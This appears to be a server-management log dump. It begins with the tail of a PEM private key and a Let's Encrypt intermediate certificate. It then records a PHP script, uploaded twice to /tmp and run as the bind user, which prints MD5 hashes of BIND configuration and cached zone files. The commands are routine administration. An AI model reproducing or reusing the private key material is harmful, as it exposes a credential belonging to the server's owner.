AQYLMwYKRDVTmt5AZmFND7vy5Hc0F8T7uORDOz+qwLf5IKenjfPkTKKx6HSaMz//
t0aslW18kvlzbIbHz35BlOF0zMEeOhIaW5qWCmpsiQlFW2rhq/fmXVjPEvirpYqV
SC4AKmNzWo82j3qx+TTfUZ+++/G/r5x0M8ka3pHtaLle1afyHFeElsNrzatMtZ8/
TQmkdk+s99aua4RMzhXd68T++AMaYRX0f3Hfy/dI23aQRP2QzIXxMKwYzgzqIyYm
oEOnUPo3VihuppuALS3OPDgo9cKPkhFZgrV+ewpnNbv1Aw+WYf8+fC5yLx0ibng2
nxfe4DFZAgMBAAECggEAE2b0a3/bZb8NchyIK7sH1qHQzZKH235IQuDfw35GtTMk
vqPbAUktiKPomlUwsicok7/R+LOsA5HfcwjFXfF3PqgPWNZffbD36eaWDrNXplbi
eGDbwti25UjsjbeXkbAeiw1p0m8OXHhPQKRxzVE7hcvGfbjwEGlfC1O1Qc48YHun
4bpUOUs1SQlPBUQ+/OxrK7lu9ImS+OQS6okWFYrnb6Z2W8mhbPBjZKhGZslbc+NY
s8+RvUmZ+IVc+mByR4g+lLcjNEtsUHDz+53KyssSole4ThfYuH+C7QWfZVnQ1m8l
m0AoqtehyK3/mA1xz2bpOIe6mtOmF/gpZHF+1FONwQKBgQDeqCpxcEniTeYligme
3GuxXwlv4quW/tsizxAGhCrkWCoETarB0H04Kt4A0LqRofdag1kZU8ka1nNBlSoi
Ty7Jsd2uhlGGQIoF0H3R9Hv2K2UM9ImBlEB540lmQXhmU6a2+rD8zvn33DaPrWuR
/1cxRBviVIgQ+3u0bCJIfo1w+QKBgQDQiJzBtiidr2QMbfgb/lUvCZrZQ9zILhVb
GuSKT3a31ov3Tdj4ge2DjOz0g/yjVQ4jpqvfHs8G+5nuiLR/jH1xSGY/BPLCPgOg
SKHQIh4YRSYA6Oej9I1Rf6DM4mWurTVzRxC/+r4FZSpqWEJ14bntgIa5jODO/A+S
Q2AuYvc7YQKBgDGO5puHLbrEMfSrC8cjMokxKQ2ROzYJlcbipaN9qXpXsUpx6w7m
k+h7ihxOWShvD3pDAALmJj3l+5NeWxl13GkiQMBGv0CNfusaY9bmfuzk7cH7b9u6
nrtCfqTW77B+7/2MQPaULwkfJ7nFFMtTNRoPGdG/lOWKxBb9dogCOwMpAoGBAJ1v
ZhmBMuzJa5lOtNA9lYYrlDKPX3HqCMl9ZildkN1+JrGQnkwPm4eDr6lytBuDrWcR
ABU1J0u4TCCgKNVa9aG+7SKK09P+CbLK4w9Fkr70BZsOO0O277IlzvqfufDEZ+Qe
NPEblrZwCDO9an+g6UP7krsnNtpNxlvAbi7XHJxBAoGBAKXQXN0jfTgEvGM2TF88
eHIUvk9WTCemANvH366ivKbtcD8ID46YqaPrPvCqG9to59uz3c/iFD/E6KCZvxVE
Ilf13YwjCrIur9UvTH8KSDYcJue3/5iJtqw1ertsvUCDoCr5gNAwMkwDfwRmcI5q
BqoAmxHDZso6tightp61I8Ej
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2026-01-03 19:21:29: Establishing a connection
2026-01-03 19:21:30:
PUT: /tmp/pkp269811
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:21:30:
runuser -l bind -s /bin/bash -c '/tmp/pkp269811; rm /tmp/pkp269811'
2026-01-03 19:21:30:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:22:16: Establishing a connection
2026-01-03 19:22:24: Establishing a connection
2026-01-03 19:22:24:
PUT: /tmp/pkp927553
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:22:25:
runuser -l bind -s /bin/bash -c '/tmp/pkp927553; rm /tmp/pkp927553'
2026-01-03 19:22:25:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
